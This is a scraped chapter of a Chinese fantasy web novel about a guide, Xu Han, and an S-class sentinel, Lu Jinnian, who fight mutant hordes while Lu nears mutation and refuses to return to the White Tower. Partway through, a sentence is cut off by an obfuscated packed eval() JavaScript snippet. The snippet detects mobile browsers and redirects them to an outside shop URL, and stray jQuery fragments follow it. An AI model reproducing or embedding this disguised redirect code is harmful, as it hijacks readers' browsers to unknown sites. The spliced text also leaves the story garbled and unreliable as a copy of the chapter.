文趣网 > 其他小说 > D级向导和她的S级哨兵 > 13. 第 13 章
    远处废墟燃起的火光向外蔓延,许晗被陆烬年扛在肩头脑袋倒置,眼前的地面变得无限大,随着颠簸不停向后飞速倒退。

    许晗脑子嗡嗡的,一半是刚才爆炸震得耳鸣,另一半是因为陆烬年。

    陆烬年为什么会在这里?

    后勤人员的命不值钱,这是白塔上下心照不宣的事实。

    死了就死了,派个人上门给一笔够家属活十年的赔偿金就行了,整套流程甚至比报废一辆装甲车还要简便。

    没有人会专门跑到规则区来救两个后勤人员,更别说身份是S级哨兵的陆烬年。

    除非是他自己来的,但这又是为什么?

    许晗费力偏过头,试图看清陆烬年的神情,但她的视角只能看到他的后脑勺。

    “老实点,欲是SS级的,我现在可打不过他。”陆烬年察觉到许晗的动作,语气硬邦邦的。

    天知道他们怎么进的规则区,还能惹上欲。

    欲的半边身体已经被炸碎,肩膀连着小半个胸膛都不见了。

    从断裂的关节处,新的骨骼重新开始生长,血管和神经缠绕着骨骼蔓延,肌肉纤维一层一层地覆盖上去。

    一眨眼的功夫,欲的身体就已经复原如初,连衣服都完好无损。

    欲活动了一下新长出来的手指,指节发出咔咔的轻响。

    他望向陆烬年逃离的方向,脸上的笑终于收了起来,语气冷淡了几分,对着身边的空气开口:“他怎么会出现在这里?”

    旁边的空气扭曲波动,凭空出现了一个黑袍人。

    宽大的黑袍将人从头裹到脚,兜帽压得极低,遮住了大半张脸,仅露出一截下巴和两片薄得几乎没有血色的嘴唇。

    黑袍人落后了欲半个身位,姿态近乎到了卑微的程度,声音里藏着难以压制的慌乱:“不知道,原本是给陆烬年安排'爱'污染区的任务,但被他拒绝了,他从前从来不拒绝任务的。”

    欲黑色的竖瞳往黑袍人的方向偏了偏,黑袍人吓得四肢发软,身体像是被抽掉了所有骨头一样跪了下去:“派人前去询问,只得到一句回复,说他想要休息。”

    说到最后几个字,黑袍人的声音已经低到几乎听不见了,兜帽下的嘴唇抿成了一条线,双肩控制不住颤抖。

    黑色竖瞳上下地转动,如同在打量一件瑕疵品:“当初是你同我说,他不抗拒畸变,实力顶尖,又漠视人类,是取代‘爱’最合适的人选。”

    黑袍人整个身体几乎要贴到地面上,连头都不敢抬。

    欲不再看他,目光重新落在前方的陆烬年身上,那双竖瞳里终于浮上了一丝肉眼可见的不耐烦。

    他抬起修长苍白的手指,在空中随意地挥了一下,像是在赶走一只烦人的苍蝇。

    “都给你规则区进出的权限了,竟然连一个被畸变种吸食向导天赋沦为废材的人,都处理不好。既然陆烬年不肯自愿畸变,那我便亲手送他一程。”

    一根脊骨模样的东西从黑暗中隆起,一节一节地拔高,它的整只眼球泛着一种腐败的乳白色,像是煮熟的鱼目,正一眨不眨地盯着前方的陆烬年。

    在它的身后,越来越多的畸变种开始出现,它们的形态各异,有的像人但四肢以不可能的角度扭曲着,有的像某种放大了数百倍的昆虫但长着人类的五官。

    它们的数量太多,多到许晗放眼望去,甚至看不到地面的颜色,只能看到一片蠕动着的身躯。

    陆烬年肩膀肌肉更加绷紧,硬得像一块铁板。

    他的身旁出现了一只五米多高的老虎,压低身躯,皮毛紧绷,琥珀色的兽瞳死死盯着畸变种群,它朝前逼进一步,发出震慑畸变种的低沉咆哮。

    陆烬年直接把姜武从肩上扔到了地上,腾出一只持械的手。

    姜武:!!!

    许晗清楚陆烬年身为S级哨兵的实力,可S级哨兵终究不是无所不能的神,他扛着自己,面对这种规模的畸变种群,简直是在送死。

    “放我下来,我能自保。”

    陆烬年听完也没客气,他蹲下身,松开手臂,许晗顺势从他肩头滑落,血液从头顶回流到全身,视野中的世界终于恢复正常。

    许晗闭了一下眼睛,把那股眩晕压了下去,再度睁眼。

    她双脚一前一后分开,重心下沉,脊背绷成一条笔直的线,手腕微沉,剑尖向上挑出一个标准的起手式。

    这个姿势她已经练了太多年,久到不需要思考,拿上剑,身体就会自动摆出来。

    陆烬年看着许晗手里的剑,嘴角上扬,露出一点犬齿的尖,琥珀色的瞳孔跳跃出了火焰般的光芒,宛如暗室里摇曳的烛焰:“当年在圣所就想问你了,为什么选择练剑?我记得你的射击课成绩也同样拔尖。”

    在数千只畸变种正在逼近,生死边缘挣扎的处境下,他竟然还有心情跟自己闲聊。

    许晗怪异地看了陆烬年一眼:“剑是我还是向导的时候就练的。向导负责远程精神攻击压制,而哨兵负责斩杀阻挡畸变种,一旦畸变种突破哨兵防线冲到向导身侧,距离往往不足一米。一米之内......”

    她的手腕一转,剑身在划出一道银色的弧线。

    “剑更快。”

    陆烬年低笑一声,随手转了转手中枪,旋即猛地向畸变种群突进而去,身侧老虎保持着陆烬年并肩的速度,跃起的时候身体完全舒展开来,前爪探出,后腿蹬直,脊背形成一张拉满的弓,虎爪重重按在一只畸变种的胸口,巨大的冲击力直接将那具畸变种的躯体按进了地面。

    一人一虎在畸变群中硬生生撕开一道缺口,畸变种的阵型被他们的攻势搅得不断溃散又重组。

    “那就是S级哨兵的实力吗?我之前的想象终究太过浅薄了。”姜武看向陆烬年的目光里,流露出向往的神情。

    “跟上。”许晗对着姜武打了个响指。

    许晗和姜武在这道被撕开的裂缝中穿行,一边跑一边清理从两侧涌上来的零散畸变种。

    以许晗的实力,斩杀D级畸变种不成问题,但面对D级以上的畸变种,许晗唯有咬牙硬撑,她把所有力气都用来跟进陆烬年和保全自身上。

    姜武紧紧跟在许晗身后,不敢脱离半步,偶尔有畸变种扑上来,他就用刀劈砍,许晗迅速补上一刀,了结畸变种性命。

    他们就这样一路往前冲,当许晗和姜武越过一条被炸毁的高架公路的残骸,畸变种群突然全部撤退消失。

    许晗双手撑着膝盖,大口大口地喘气,汗水从她的额头滑落,滴在满是尘土的地面。她的手臂在发抖,长时间的高强度挥剑让她的肌肉已经开始痉挛,剑尖垂立在地,黑色的畸变血液顺着剑刃缓缓下淌。

    她抬眼想要找寻陆烬年与那头老虎,却发现精神体早已不见踪影。

    陆烬年独自立在残骸投下的阴影之中,裸露的钢筋混凝土从他身后的地面斜斜地戳向天空,如同一具巨大生物的肋骨化石。

    陆烬年头顶突兀生出一对的虎耳,而

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838289|211549||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他的身后,一条尾巴垂落下来。

    许晗握剑的手收紧了。

    她知道这意味着什么:当一个哨兵的精神体开始跟本体融合,躯体逐步出现兽化特征,便意味着距离彻底畸变,沦为畸变种只剩一步之遥。

    此刻的陆烬年,已经站在了畸变的边缘。

    远处高楼顶端,欲俯瞰下方,嘴角挂着一个餍足的笑容,仿佛正在享受一道美味的菜肴。

    欲歪了歪头,银色的发丝滑过苍白的脸颊,语气带着戏谑的怜悯:“我最喜欢看人一步步堕落的样子,这种过程实在美妙。”

    “可怜的小老虎,保护别人,牺牲自己。等回到白塔,等待他的只会是追杀,这出戏,想来会无比精彩。”

    “我要让他彻底抛弃人类身份,心甘情愿化作畸变种。”

    他的视线轻飘飘地扫过许晗,笑意未消,只是多了几分漫不经心的嫌弃:“至于旁边那只碍眼的虫子,本就是失去天赋的废人,无关紧要。”

    欲偏看向身侧的黑袍人影:“你知道该怎么做。”

    “是。”黑袍人兜帽几乎贴到了胸口,身形如同来时一般,空间扭曲,消散在空中。

    陆烬年抬眼望向许晗手中滴血长剑,一张张人脸在他脑海中飞速闪过。

    最早出现的那些脸是殷切的、满期待的。他们围在刚觉醒A级哨兵天赋的他身边,眼睛亮得像是像是看到了黄金的淘金者。

    “陆烬年,A级哨兵!往后前途无可限量!”

    那些人的嘴巴一张一合,声音里全是遮掩不住的狂喜,仿佛他不是一个活生生的人,而是一件刚刚被鉴定出来的珍稀武器。

    但很快,那些脸开始变了,笑容消失了,期待变成了畏惧,殷切变成了警惕。

    那些曾经围着他转的人开始后退,保持距离,看他的眼神像是在看一颗随时可能爆炸的炸弹。

    “陆烬年,戴上失序锁吧,”一张张嘴巴声音变低,语气变得小心翼翼,像是怕激怒一头随时可能失控的野兽:“白塔不能再多一个S级的畸变种了,你知道那意味着什么。”

    他当然清楚这意味着什么。

    白塔与源核畸变种之间的大规模战争已经平息,取而代之的是频繁的小规模摩擦,双方似乎来到一个微妙的平衡状态。

    不能再多出一个S级畸变种打破这种平衡了。

    所以他应该乖乖地戴上失序锁,把自己的余生锁在一个随时畸变爆炸的恐惧中,在彻底畸变之前被“处理”掉。

    这就是白塔给他安排好的结局。

    凭什么?他的命运应该是他自己来掌握的。

    应该由他自己选择该怎么样活着!

    他的一生都在被安排,被安排进入孤儿院,被安排训练,被安排任务,被安排成为白塔最锋利的刀。

    现在连他的死亡方式也要被安排了吗?

    连他变成什么都要经过他们的批准吗?

    既然他们惧怕他沦为畸变种,那他便主动走向畸变种。

    既然所有人都知道他注定会畸变,那他就顺势加速这个过程,加速到所有人来不及防备,加速到白塔只能眼睁睁看着最恐惧的预言成真。

    陆烬年抬起头,那双琥珀色的眼睛直直地看向许晗,看向她手中那把还在滴血的剑。

    唇角向上勾起,下巴微抬,露出一个满不在乎的、近乎于挑衅的笑容。

    “我不回去了。”

    许晗握着剑,站在原地,面色凝重。